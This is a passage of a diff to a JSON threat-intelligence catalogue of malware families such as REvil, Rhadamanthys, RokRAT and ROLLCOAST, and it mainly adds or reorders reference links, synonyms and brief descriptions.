"https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://redcanary.com/blog/uncompromised-kaseya/", + "https://twitter.com/R3MRUM/status/1412064882623713283", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://blog.group-ib.com/REvil_RaaS", + "https://twitter.com/LloydLabs/status/1411098844209819648", + "https://twitter.com/SophosLabs/status/1412056467201462276", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", + "https://velzart.nl/blog/ransomeware/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", + "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", + "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", + "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", + "https://community.riskiq.com/article/3315064b", + "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/", + "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", + "https://twitter.com/resecurity_com/status/1412662343796813827", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", + "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://www.youtube.com/watch?v=QYQQUUpU04s", + "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", + "https://www.certego.net/en/news/malware-tales-sodinokibi/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", + "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", + "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", + "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", + "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", + "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", + "https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://www.youtube.com/watch?v=tZVFMVm5GAk", - "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/" + "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", + "https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", + "https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html", + "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", + "https://securelist.com/sodin-ransomware/91473/", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", + "https://asec.ahnlab.com/ko/19860/", + "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://twitter.com/_alex_il_/status/1412403420217159694", + "https://twitter.com/svch0st/status/1411537562380816384", + "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", + "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", + "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", + "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.amossys.fr/sodinokibi-malware-analysis.html", + "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.connectwise.com/resources/revil-profile", + "https://isc.sans.edu/diary/27012", + "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", + "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs" ], "synonyms": [ "Sodin", @@ -39558,16 +41635,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor", - "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/", "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/" + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran" ], "synonyms": [], "type": [] @@ -39575,6 +41652,26 @@ "uuid": "daddd1dc-c415-4970-89ee-526ee8de2ec1", "value": "RGDoor" }, + { + "description": "According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.\r\n\r\nAt the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys", + "https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web", + "https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/", + "https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88", + "https://www.malware-traffic-analysis.net/2023/01/03/index.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023", + "https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/", + "https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "50d322d7-c7e0-4d9b-9996-e5767caa8f1c", + "value": "Rhadamanthys" + }, { "description": "Ransomware.", "meta": { @@ -39606,8 +41703,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/", "https://blog.avast.com/rietspoof-malware-increases-activity", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/", "https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/" ], "synonyms": [], @@ -39621,8 +41718,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://global.ahnlab.com/global/upload/download/techreport/[AhnLab]Andariel_a_Subgroup_of_Lazarus%20(3).pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/" ], "synonyms": [], @@ -39671,14 +41768,27 @@ "uuid": "a85b0619-ed8e-4324-8603-af211d682dac", "value": "Ripper ATM" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro", + "https://blog.sekoia.io/new-risepro-stealer-distributed-by-the-prominent-privateloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20ba0ede-454c-461d-a0e1-c053a838faa2", + "value": "RisePro" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], @@ -39692,7 +41802,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/" + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://twitter.com/URSNIFleak" ], "synonyms": [], "type": [] @@ -39705,14 +41816,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms", - "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", - "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", - "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/" + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", + "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", + "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf" ], "synonyms": [ "Gussdoor", @@ -39728,25 +41839,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood", - "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://goggleheadedhacker.com/blog/post/12", "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://twitter.com/VK_Intel/status/1121440931759128576", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", - "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", - "https://goggleheadedhacker.com/blog/post/12", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/" + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", + "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/" ], "synonyms": [ "RobbinHood" @@ -39775,10 +41886,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [], "type": [] @@ -39804,8 +41915,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin", "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" ], @@ -39833,31 +41944,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat", - "http://v3lo.tistory.com/24", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", - "https://unit42.paloaltonetworks.com/atoms/moldypisces/", - "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", - "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", - "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", - "https://www.youtube.com/watch?v=uoBQE5s2ba4", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", - "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", - "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", + "https://asec.ahnlab.com/en/51751/", + "https://www.ibm.com/downloads/cas/Z81AVOY7", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://www.youtube.com/watch?v=uoBQE5s2ba4", + "http://v3lo.tistory.com/24", + "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", + "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", + "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://twitter.com/ESETresearch/status/1575103839115804672", + "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", + "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", + "https://unit42.paloaltonetworks.com/atoms/moldypisces/", + "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab" ], "synonyms": [ "DOGCALL" @@ -39867,6 +41982,23 @@ "uuid": "16dcc67b-4415-4620-818d-7ca24a5ccaf5", "value": "RokRAT" }, + { + "description": "ROLLCOAST is a ransomware program that encrypts files on logical drives attached to a system. ROLLCOAST is a Dynamic Linked Library (DLL) with no named exports. When observed by Mandiant it uniquely had only one ordinal export 0x01. This suggested the sample was designed to avoid detection and be invoked within memory, possibly through BEACON provided to affiliates. Incident responders working on similar intrusions should capture memory for analysis.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rollcoast", + "https://www.mandiant.com/resources/sabbath-ransomware-affiliate" + ], + "synonyms": [ + "Arcane", + "S4bb47h", + "Sabbath" + ], + "type": [] + }, + "uuid": "a3178bd5-719b-4065-9a55-d13bb34e5c14", + "value": "ROLLCOAST" + }, { "description": "", "meta": { @@ -39887,6 +42019,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat", + "https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries", + "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass", + "https://cert.gov.ua/article/3349703", "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/" ], "synonyms": [], @@ -39912,14 +42047,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", - "https://seguranca-informatica.pt/rook-ransomware-analysis/", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", + "https://seguranca-informatica.pt/rook-ransomware-analysis/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -39939,6 +42074,38 @@ "uuid": "b4a3d0ef-2d7b-4da5-8f90-8213f8f318d9", "value": "Roopirs" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "68050d50-eece-43ba-8668-0825eab940f0", + "value": "Roopy" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach", + "https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-ransomware.html", + 